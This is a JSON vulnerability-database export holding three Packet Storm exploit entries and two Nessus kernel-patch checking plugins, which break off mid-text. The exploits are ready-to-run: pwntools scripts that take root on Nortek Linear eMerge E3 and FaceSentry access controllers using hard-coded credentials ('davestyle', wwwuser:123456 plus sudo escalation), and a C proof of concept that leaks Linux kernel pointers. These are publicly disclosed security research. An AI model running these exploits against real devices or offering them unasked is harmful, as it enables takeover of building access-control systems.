{"packetstorm": [{"lastseen": "2019-11-14T02:21:26", "bulletinFamily": "exploit", "description": "", "modified": "2019-11-12T00:00:00", "published": "2019-11-12T00:00:00", "id": "PACKETSTORM:155267", "href": "https://packetstormsecurity.com/files/155267/Nortek-Linear-eMerge-E3-Access-Controller-1.00-06-SSH-FTP-Remote-Root.html", "title": "Nortek Linear eMerge E3 Access Controller 1.00-06 SSH/FTP Remote Root", "type": "packetstorm", "sourceData": "`#!/usr/bin/env python \n# \n# Nortek Linear eMerge E3 Access Controller SSH/FTP Remote Root \n# Affected version: <=1.00-06 \n# CVE: CVE-2019-7261, CVE-2019-7265 \n# Advisory: https://applied-risk.com/resources/ar-2019-005 \n# Paper: https://applied-risk.com/resources/i-own-your-building-management-system \n# \n# by Gjoko 'LiquidWorm' Krstic \n# \n# ==== \n# python lineare3_sshroot.py 192.168.1.2 \n# [+] Connecting to 192.168.1.2 on port 22: Done \n# [!] Only Linux is supported for ASLR checks. \n# [*] root@192.168.1.2: \n# Distro Unknown Unknown \n# OS: Unknown \n# Arch: Unknown \n# Version: 0.0.0 \n# ASLR: Disabled \n# Note: Susceptible to ASLR ulimit trick (CVE-2016-3672) \n# [+] Opening new channel: 'shell': Done \n# [*] Switching to interactive mode \n# Last login: Fri Nov 1 04:21:44 2019 from 192.168.2.17 \n# root@imx6slevk:~# id \n# uid=0(root) gid=0(root) groups=0(root) \n# root@imx6slevk:~# pwd \n# /home/root \n# root@imx6slevk:~# exit \n# logout \n# [*] Got EOF while reading in interactive \n# [*] Closed SSH channel with 192.168.1.2 \n# ==== \n \nfrom pwn import * \n \nif len(sys.argv) < 2: \nprint 'Usage: ./e3.py <ip>\\n' \nsys.exit() \n \nip = sys.argv[1] \nrshell = ssh('root', ip, password='davestyle', port=22) \nrshell.interactive() \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/155267/ar-2019-005-8.txt"}, {"lastseen": "2019-07-03T07:14:30", "bulletinFamily": "exploit", "description": "", "modified": "2019-07-01T00:00:00", "published": "2019-07-01T00:00:00", "id": "PACKETSTORM:153493", "href": "https://packetstormsecurity.com/files/153493/FaceSentry-Access-Control-System-6.4.8-Remote-SSH-Root-Access.html", "title": "FaceSentry Access Control System 6.4.8 Remote SSH Root Access", "type": "packetstorm", "sourceData": "`#!/usr/bin/env python \n# -*- coding: utf-8 -*- \n# \n# \n# FaceSentry Access Control System 6.4.8 Remote SSH Root Access Exploit \n# \n# \n# Vendor: iWT Ltd. \n# Product web page: http://www.iwt.com.hk \n# Affected version: Firmware 6.4.8 build 264 (Algorithm A16) \n# Firmware 5.7.2 build 568 (Algorithm A14) \n# Firmware 5.7.0 build 539 (Algorithm A14) \n# \n# Summary: FaceSentry 5AN is a revolutionary smart identity \n# management appliance that offers entry via biometric face \n# identification, contactless smart card, staff ID, or QR-code. \n# The QR-code upgrade allows you to share an eKey with guests \n# while you're away from your Office and monitor all activity \n# via the web administration tool. Powered by standard PoE \n# (Power over Ethernet), FaceSEntry 5AN can be installed in \n# minutes with only 6 screws. FaceSentry 5AN is a true enterprise \n# grade access control or time-and-attendance appliance. \n# \n# Desc: FaceSentry facial biometric access control appliance \n# ships with hard-coded and weak credentials for SSH access \n# on port 23445 using the credentials wwwuser:123456. The root \n# privilege escalation is done by abusing the insecure sudoers \n# entry file. \n# \n# ================================================================ \n# lqwrm@metalgear:~$ python ssh_root.py 192.168.11.1 \n# [+] Connecting to 192.168.11.1 on port 23445: Done \n# [*] wwwuser@192.168.11.1: \n# Distro Ubuntu 16.04 \n# OS: linux \n# Arch: Unknown \n# Version: 4.10.0 \n# ASLR: Enabled \n# Note: Susceptible to ASLR ulimit trick (CVE-2016-3672) \n# [+] Opening new channel: 'shell': Done \n# [*] Switching to interactive mode \n# wwwuser@TWR01:~$ pwd \n# /home/wwwuser \n# wwwuser@TWR01:~$ sudo -l \n# Matching Defaults entries for wwwuser on localhost: \n# env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin \n# \n# User wwwuser may run the following commands on localhost: \n# (root) NOPASSWD: /sbin/service, PROCESSES, NETWORKING, REBOOT, IPTABLES, /faceGuard/bin/*, /faceGuard/database/Restore*, /bin/date, /bin/cat, /bin/echo, /faceGuard/bin/phpbin/*, /bin/sed, /sbin/*, /usr/sbin/*, /bin/*, /usr/bin/* \n# wwwuser@TWR01:~$ sudo cat /etc/sudoers.d/sudoers.sentry \n# Cmnd_Alias SENTRY = /faceGuard/bin/* \n# Cmnd_Alias SENTRY_DB_RESTORE = /faceGuard/database/Restore* \n# Cmnd_Alias DATE = /bin/date \n# Cmnd_Alias CAT = /bin/cat \n# Cmnd_Alias ECHO = /bin/echo \n# Cmnd_Alias PRINTING = /usr/sbin/lpc, /usr/bin/lprm \n# Cmnd_Alias SENTRYWEB = /faceGuard/bin/phpbin/* \n# Cmnd_Alias SED = /bin/sed \n# Cmnd_Alias SERVICES = /sbin/service \n# Cmnd_Alias SBIN = /sbin/*, /usr/sbin/* \n# Cmnd_Alias BIN = /bin/*, /usr/bin/* \n# \n# wwwuser ALL=NOPASSWD: SERVICES, PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN \n# iwtuser ALL=NOPASSWD: SERVICES, PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN \n# wwwuser@TWR01:~$ id \n# uid=1001(wwwuser) gid=1001(wwwuser) groups=1001(wwwuser),27(sudo) \n# wwwuser@TWR01:~$ sudo su \n# root@TWR01:/home/wwwuser# id \n# uid=0(root) gid=0(root) groups=0(root) \n# root@TWR01:/home/wwwuser# exit \n# exit \n# wwwuser@TWR01:~$ exit \n# logout \n# [*] Got EOF while reading in interactive \n# [*] Closed SSH channel with 192.168.11.1 \n# lqwrm@metalgear:~$ \n# ================================================================ \n# \n# Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus) \n# Linux 3.4.113-sun8i (armv7l) \n# PHP/7.0.30-0ubuntu0.16.04.1 \n# PHP/7.0.22-0ubuntu0.16.04.1 \n# lighttpd/1.4.35 \n# Armbian 5.38 \n# Sunxi Linux (sun8i generation) \n# Orange Pi PC + \n# \n# \n# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic \n# @zeroscience \n# \n# \n# Advisory ID: ZSL-2019-5526 \n# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5526.php \n# \n# \n# 28.05.2019 \n# \n \nfrom pwn import * \n \nif len(sys.argv) < 2: \nprint 'Usage: ./fs.py <ip>\\n' \nsys.exit() \n \nip = sys.argv[1] \nrshell = ssh('wwwuser', ip, password='123456', port=23445) \nrshell.interactive() \n`\n", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://packetstormsecurity.com/files/download/153493/ZSL-2019-5526.txt"}, {"lastseen": "2019-03-12T03:25:30", "bulletinFamily": "exploit", "description": "", "modified": "2019-03-11T00:00:00", "published": "2019-03-11T00:00:00", "id": "PACKETSTORM:152031", "href": "https://packetstormsecurity.com/files/152031/Linux-Kernel-4.4-Ubuntu-16.04-snd_timer_user_ccallback-Kernel-Pointer-Leak.html", "title": "Linux Kernel 4.4 (Ubuntu 16.04) snd_timer_user_ccallback() Kernel Pointer Leak", "type": "packetstorm", "sourceData": "`#include <stdio.h> \n#include <errno.h> \n#include <string.h> \n#include <unistd.h> \n#include <stdint.h> \n#include <sys/syscall.h> \n#include <asm/unistd_64.h> \n#include <sys/types.h> \n#include <sys/stat.h> \n#include <fcntl.h> \n#include <sys/mman.h> \n#include <sys/stat.h> \n#include <sys/ioctl.h> \n#include <sound/asound.h> \n \n# Exploit Title: Linux Kernel 4.4 (Ubuntu 16.04) - Leak kernel pointer in snd_timer_user_ccallback() \n \n# Google Dork: - \n \n# Date: 2019-03-11 \n \n# Exploit Author: wally0813 \n \n# Vendor Homepage: - \n \n# Software Link: - \n \n# Version: Linux Kernel 4.4 (Ubuntu 16.04) \n \n# Tested on: ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux \n \n# CVE: CVE-2016-4578 \n \n# Category: Local \n \n \n \n/* \n* [ Briefs ] \n* - If snd_timer_user_ccallback() doesn't initialize snd_timer_tread.event and snd_timer_tread.val, they are leaked by snd_timer_user_read() \n* - This is local exploit against the CVE-2016-4578. \n* \n* [ Tested version ] \n* - 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux \n* \n* [ Prerequisites ] \n* - \n* \n* [ Goal ] \n* - Leak 4 bytes kernel pointer address using snd_timer_user_ccallback() \n* \n* [ Run exploit ] \n* - $ gcc -o poc poc.c \n* - $ sudo ./poc \n* leak_value(event) : ffff8800 \n* leak_value(val) : ffffffff \n* \n* [ Contact ] \n* - soyeoni0813@gmail.com \n*/ \n \n \n \nint fd; \n \nvoid leak(){ \n \nstruct snd_timer_tread td; \nstruct snd_timer_select st; \nstruct snd_timer_params ps; \nint r; \nunsigned int leak_value_e, leak_value_v; \nint tread; \n \nmemset(&td,0,sizeof(td)); \nmemset(&st,0,sizeof(st)); \nmemset(&ps,0,sizeof(ps)); \n \n \n// set tread \ntread = 1; \nps.filter |= 1<<SNDRV_TIMER_EVENT_START; \nps.ticks = 1000 * 1000; \n \nr = ioctl(fd, SNDRV_TIMER_IOCTL_TREAD, &tread); \nif (r) { \nprintf(\"SNDRV_TIMER_IOCTL_TREAD error : %d, %s\\n\", errno, strerror(errno)); \nreturn; \n} \n \n \n// vuln trigger \nst.id.dev_class = SNDRV_TIMER_CLASS_GLOBAL; \nst.id.dev_sclass = SNDRV_TIMER_SCLASS_APPLICATION; \nr = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &st); \nif (r) { \nprintf(\"SNDRV_TIMER_IOCTL_SELECT error : %d, %s\\n\", errno, strerror(errno)); \nreturn; \n} \n \nr = ioctl(fd, SNDRV_TIMER_IOCTL_PARAMS, &ps); \nif (r) { \nprintf(\"SNDRV_TIMER_IOCTL_PARAMS error : %d, %s\\n\", errno, strerror(errno)); \nreturn; \n} \n \nr = ioctl(fd, SNDRV_TIMER_IOCTL_START); \nif (r) { \nprintf(\"SNDRV_TIMER_IOCTL_START error : %d, %s\\n\", errno, strerror(errno)); \nreturn; \n} \n \n \n// get leak \nr = read(fd, &td, sizeof(td)); \n \nleak_value_e = *((unsigned long *)(&td.event+1)); \nprintf(\"leak_value(event) : %lx\\n\", leak_value_e); \n \nleak_value_v = *((unsigned long *)(&td.val+1)); \nprintf(\"leak_value(val) : %lx\\n\", leak_value_v); \n \n} \n \nint main(int argc, char **argv) \n{ \nfd = open(\"/dev/snd/timer\", O_RDWR); \n \nif (fd < 0) { \nprintf(\"open error : %d, %s\\n\", errno, strerror(errno)); \nreturn -1; \n} \n \nleak(); \nclose(fd); \nreturn 0; \n} \n`\n", "cvss": {"score": 2.1, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/152031/linkern44sndtimer-leak.txt"}], "nessus": [{"lastseen": "2019-11-01T02:06:39", "bulletinFamily": "scanner", "description": "According to the versions of the kernel packages installed, the\nEulerOS Virtualization installation on the remote host is affected by\nthe following vulnerabilities :\n\n - The snd_timer_interrupt function in sound/core/timer.c\n in the Linux kernel before 4.4.1 does not properly\n maintain a certain linked list, which allows local\n users to cause a denial of service (race condition and\n system crash) via a crafted ioctl call.(CVE-2016-2545)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n uses an incorrect type of mutex, which allows local\n users to cause a denial of service (race condition,\n use-after-free, and system crash) via a crafted ioctl\n call.(CVE-2016-2546)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n employs a locking approach that does not consider slave\n timer instances, which allows local users to cause a\n denial of service (race condition, use-after-free, and\n system crash) via a crafted ioctl call.(CVE-2016-2547)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n retains certain linked lists after a close or stop\n action, which allows local users to cause a denial of\n service (system crash) via a crafted ioctl call,\n related to the (1) snd_timer_close and (2)\n _snd_timer_stop functions.(CVE-2016-2548)\n\n - sound/core/hrtimer.c in the Linux kernel before 4.4.1\n does not prevent recursive callback access, which\n allows local users to cause a denial of service\n (deadlock) via a crafted ioctl call.(CVE-2016-2549)\n\n - A resource-exhaustion vulnerability was found in the\n kernel, where an unprivileged process could allocate\n and accumulate far more file descriptors than the\n process", "modified": "2019-11-02T00:00:00", "id": "EULEROS_SA-2019-1492.NASL", "href": "https://www.tenable.com/plugins/nessus/124816", "published": "2019-05-13T00:00:00", "title": "EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1492)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(124816);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/06/27 13:33:25\");\n\n script_cve_id(\n \"CVE-2016-2545\",\n \"CVE-2016-2546\",\n \"CVE-2016-2547\",\n \"CVE-2016-2548\",\n \"CVE-2016-2549\",\n \"CVE-2016-2550\",\n \"CVE-2016-2847\",\n \"CVE-2016-3070\",\n \"CVE-2016-3134\",\n \"CVE-2016-3135\",\n \"CVE-2016-3136\",\n \"CVE-2016-3137\",\n \"CVE-2016-3138\",\n \"CVE-2016-3139\",\n \"CVE-2016-3140\",\n \"CVE-2016-3156\",\n \"CVE-2016-3672\",\n \"CVE-2016-3689\",\n \"CVE-2016-3841\",\n \"CVE-2016-3955\",\n \"CVE-2016-4470\",\n \"CVE-2016-4482\",\n \"CVE-2016-4565\"\n );\n\n script_name(english:\"EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1492)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS Virtualization installation on the remote host is affected by\nthe following vulnerabilities :\n\n - The snd_timer_interrupt function in sound/core/timer.c\n in the Linux kernel before 4.4.1 does not properly\n maintain a certain linked list, which allows local\n users to cause a denial of service (race condition and\n system crash) via a crafted ioctl call.(CVE-2016-2545)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n uses an incorrect type of mutex, which allows local\n users to cause a denial of service (race condition,\n use-after-free, and system crash) via a crafted ioctl\n call.(CVE-2016-2546)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n employs a locking approach that does not consider slave\n timer instances, which allows local users to cause a\n denial of service (race condition, use-after-free, and\n system crash) via a crafted ioctl call.(CVE-2016-2547)\n\n - sound/core/timer.c in the Linux kernel before 4.4.1\n retains certain linked lists after a close or stop\n action, which allows local users to cause a denial of\n service (system crash) via a crafted ioctl call,\n related to the (1) snd_timer_close and (2)\n _snd_timer_stop functions.(CVE-2016-2548)\n\n - sound/core/hrtimer.c in the Linux kernel before 4.4.1\n does not prevent recursive callback access, which\n allows local users to cause a denial of service\n (deadlock) via a crafted ioctl call.(CVE-2016-2549)\n\n - A resource-exhaustion vulnerability was found in the\n kernel, where an unprivileged process could allocate\n and accumulate far more file descriptors than the\n process' limit. A local, unauthenticated user could\n exploit this flaw by sending file descriptors over a\n Unix socket and then closing them to keep the process'\n fd count low, thereby creating kernel-memory or\n file-descriptors exhaustion (denial of\n service).(CVE-2016-2550)\n\n - It is possible for a single process to cause an OOM\n condition by filling large pipes with data that are\n never read. A typical process filling 4096 pipes with 1\n MB of data will use 4 GB of memory and there can be\n multiple such processes, up to a\n per-user-limit.(CVE-2016-2847)\n\n - A security flaw was found in the Linux kernel that an\n attempt to move page mapped by AIO ring buffer to the\n other node triggers NULL pointer dereference at\n trace_writeback_dirty_page(), because\n aio_fs_backing_dev_info.dev is 0.(CVE-2016-3070)\n\n - A security flaw was found in the Linux kernel in the\n mark_source_chains() function in\n 'net/ipv4/netfilter/ip_tables.c'. It is possible for a\n user-supplied 'ipt_entry' structure to have a large\n 'next_offset' field. This field is not bounds checked\n prior to writing to a counter value at the supplied\n offset.(CVE-2016-3134)\n\n - An integer overflow vulnerability was found in the\n Linux kernel in xt_alloc_table_info, which on 32-bit\n systems can lead to small structure allocation and a\n copy_from_user based heap corruption.(CVE-2016-3135)\n\n - The mct_u232_msr_to_state function in\n drivers/usb/serial/mct_u232.c in the Linux kernel\n before 4.5.1 allows physically proximate attackers to\n cause a denial of service (NULL pointer dereference and\n system crash) via a crafted USB device without two\n interrupt-in endpoint descriptors.(CVE-2016-3136)\n\n - drivers/usb/serial/cypress_m8.c in the Linux kernel\n before 4.5.1 allows physically proximate attackers to\n cause a denial of service (NULL pointer dereference and\n system crash) via a USB device without both an\n interrupt-in and an interrupt-out endpoint descriptor,\n related to the cypress_generic_port_probe and\n cypress_open functions.(CVE-2016-3137)\n\n - The acm_probe function in drivers/usb/class/cdc-acm.c\n in the Linux kernel before 4.5.1 allows physically\n proximate attackers to cause a denial of service (NULL\n pointer dereference and system crash) via a USB device\n without both a control and a data endpoint\n descriptor.(CVE-2016-3138)\n\n - The wacom_probe function in\n drivers/input/tablet/wacom_sys.c in the Linux kernel\n before 3.17 allows physically proximate attackers to\n cause a denial of service (NULL pointer dereference and\n system crash) via a crafted endpoints value in a USB\n device descriptor.(CVE-2016-3139)\n\n - The digi_port_init function in\n drivers/usb/serial/digi_acceleport.c in the Linux\n kernel before 4.5.1 allows physically proximate\n attackers to cause a denial of service (NULL pointer\n dereference and system crash) via a crafted endpoints\n value in a USB device descriptor.(CVE-2016-3140)\n\n - 'A security flaw was found in the Linux kernel's\n networking subsystem that destroying the network\n interface with huge number of ipv4 addresses assigned\n keeps ''rtnl_lock'' spinlock for a very long time (up\n to hour). This blocks many network-related operations,\n including creation of new incoming ssh connections.\n\n - The problem is especially important for containers, as\n the container owner has enough permissions to trigger\n this and block a network access on a whole host,\n outside the container.(CVE-2016-3156)'\n\n - A weakness was found in the Linux ASLR implementation.\n Any user able to running 32-bit applications in a x86\n machine can disable ASLR by setting the RLIMIT_STACK\n resource to unlimited.(CVE-2016-3672)\n\n - The ims_pcu_parse_cdc_data function in\n drivers/input/misc/ims-pcu.c in the Linux kernel before\n 4.5.1 allows physically proximate attackers to cause a\n denial of service (system crash) via a USB device\n without both a master and a slave\n interface.(CVE-2016-3689)\n\n - It was found that the Linux kernel's IPv6\n implementation mishandled socket options. A local\n attacker could abuse concurrent access to the socket\n options to escalate their privileges, or cause a denial\n of service (use-after-free and system crash) via a\n crafted sendmsg system call.(CVE-2016-3841)\n\n - The usbip_recv_xbuff function in\n drivers/usb/usbip/usbip_common.c in the Linux kernel\n before 4.5.3 allows remote attackers to cause a denial\n of service (out-of-bounds write) or possibly have\n unspecified other impact via a crafted length value in\n a USB/IP packet.(CVE-2016-3955)\n\n - A flaw was found in the Linux kernel's keyring handling\n code: the key_reject_and_link() function could be\n forced to free an arbitrary memory block. An attacker\n could use this flaw to trigger a use-after-free\n condition on the system, potentially allowing for\n privilege escalation.(CVE-2016-4470)\n\n - The proc_connectinfo() function in\n 'drivers/usb/core/devio.c' in the Linux kernel through\n 4.6 does not initialize a certain data structure, which\n allows local users to obtain sensitive information from\n kernel stack memory via a crafted USBDEVFS_CONNECTINFO\n ioctl call. The stack object 'ci' has a total size of 8\n bytes. Its last 3 bytes are padding bytes which are not\n initialized and are leaked to userland.(CVE-2016-4482)\n\n - A flaw was found in the way certain interfaces of the\n Linux kernel's Infiniband subsystem used write() as\n bi-directional ioctl() replacement, which could lead to\n insufficient memory security checks when being invoked\n using the splice() system call. A local unprivileged\n user on a system with either Infiniband hardware\n present or RDMA Userspace Connection Manager Access\n module explicitly loaded, could use this flaw to\n escalate their privileges on the system.(CVE-2016-4565)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1492\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?e3a99eaa\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/05/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/05/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.1.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.1.0\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.1.0\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-3.10.0-862.14.1.6_42\",\n \"kernel-devel-3.10.0-862.14.1.6_42\",\n \"kernel-headers-3.10.0-862.14.1.6_42\",\n \"kernel-tools-3.10.0-862.14.1.6_42\",\n \"kernel-tools-libs-3.10.0-862.14.1.6_42\",\n \"kernel-tools-libs-devel-3.10.0-862.14.1.6_42\",\n \"perf-3.10.0-862.14.1.6_42\",\n \"python-perf-3.10.0-862.14.1.6_42\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-01T03:01:06", "bulletinFamily": "scanner", "description": "The openSUSE Leap 42.1 kernel was updated to receive various security\nand bugfixes.\n\nThe following security bugs were fixed :\n\n - CVE-2016-2847: Limit the per-user amount of pages\n allocated in pipes (bsc#970948).\n\n - CVE-2016-3136: mct_u232: add sanity checking in probe\n (bnc#970955).\n\n - CVE-2016-2188: iowarrior: fix oops with malicious USB\n descriptors (bnc#970956).\n\n - CVE-2016-3138: cdc-acm: more sanity checking\n (bnc#970911).\n\n - CVE-2016-3137: cypress_m8: add endpoint sanity check\n (bnc#970970).\n\n - CVE-2016-3951: cdc_ncm: do not call usbnet_link_change\n from cdc_ncm_bind (bnc#974418).\n\n - CVE-2016-3140: digi_acceleport: do sanity checking for\n the number of ports (bnc#970892).\n\n - CVE-2016-2186: powermate: fix oops with malicious USB\n descriptors (bnc#970958).\n\n - CVE-2016-2185: usb_driver_claim_interface: add sanity\n checking (bnc#971124).\n\n - CVE-2016-3689: ims-pcu: sanity check against missing\n interfaces (bnc#971628).\n\n - CVE-2016-3156: ipv4: Do not do expensive useless work\n during inetdev destroy (bsc#971360).\n\nThe following non-security bugs were fixed :\n\n - ALSA: timer: Call notifier in the same spinlock\n (bsc#973378).\n\n - ALSA: timer: Protect the whole snd_timer_close() with\n open race (bsc#973378).\n\n - ALSA: timer: Sync timer deletion at closing the system\n timer (bsc#973378).\n\n - ALSA: timer: Use mod_timer() for rearming the system\n timer (bsc#973378).\n\n - Backport arm64 patches from SLE12-SP1-ARM\n\n - Fix kABI additions for pipe: limit the per-user amount\n of pages allocated in pipes.\n\n - Revert ", "modified": "2019-11-02T00:00:00", "id": "OPENSUSE-2016-629.NASL", "href": "https://www.tenable.com/plugins/nessus/91306", "published": "2016-05-24T00:00:00", "title": "openSUSE Security Update : the Linux Kernel (openSUSE-2016-629)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2016-629.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(91306);\n script_version(\"2.3\");\n script_cvs_date(\"Date: 2019/04/11 17:23:07\");\n\n script_cve_id(\"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-2847\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3689\", \"CVE-2016-3951\");\n\n script_name(english:\"openSUSE Security Update : the Linux Kernel (openSUSE-2016-629)\");\n script_summary(english:\"Check for the openSUSE-2016-629 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The openSUSE Leap 42.1 kernel was updated to receive various security\nand bugfixes.\n\nThe following security bugs were fixed :\n\n - CVE-2016-2847: Limit the per-user amount of pages\n allocated in pipes (bsc#970948).\n\n - CVE-2016-3136: mct_u232: add sanity checking in probe\n (bnc#970955).\n\n - CVE-2016-2188: iowarrior: fix oops with malicious USB\n descriptors (bnc#970956).\n\n - CVE-2016-3138: cdc-acm: more sanity checking\n (bnc#970911).\n\n - CVE-2016-3137: cypress_m8: add endpoint sanity check\n (bnc#970970).\n\n - CVE-2016-3951: cdc_ncm: do not call usbnet_link_change\n from cdc_ncm_bind (bnc#974418).\n\n - CVE-2016-3140: digi_acceleport: do sanity checking for\n the number of ports (bnc#970892).\n\n - CVE-2016-2186: powermate: fix oops with malicious USB\n descriptors (bnc#970958).\n\n - CVE-2016-2185: usb_driver_claim_interface: add sanity\n checking (bnc#971124).\n\n - CVE-2016-3689: ims-pcu: sanity check against missing\n interfaces (bnc#971628).\n\n - CVE-2016-3156: ipv4: Do not do expensive useless work\n during inetdev destroy (bsc#971360).\n\nThe following non-security bugs were fixed :\n\n - ALSA: timer: Call notifier in the same spinlock\n (bsc#973378).\n\n - ALSA: timer: Protect the whole snd_timer_close() with\n open race (bsc#973378).\n\n - ALSA: timer: Sync timer deletion at closing the system\n timer (bsc#973378).\n\n - ALSA: timer: Use mod_timer() for rearming the system\n timer (bsc#973378).\n\n - Backport arm64 patches from SLE12-SP1-ARM\n\n - Fix kABI additions for pipe: limit the per-user amount\n of pages allocated in pipes.\n\n - Revert 'drm/radeon: call hpd_irq_event on resume'\n (boo#975868).\n\n - Update config files. Enable RTC_HCTOSYS, build\n I2C_XGENE_SLIMPRO as a module.\n\n - backends: guarantee one time reads of shared ring\n contents (bsc#957988).\n\n - ext4: fix races between buffered IO and collapse /\n insert range (bsc#972174).\n\n - 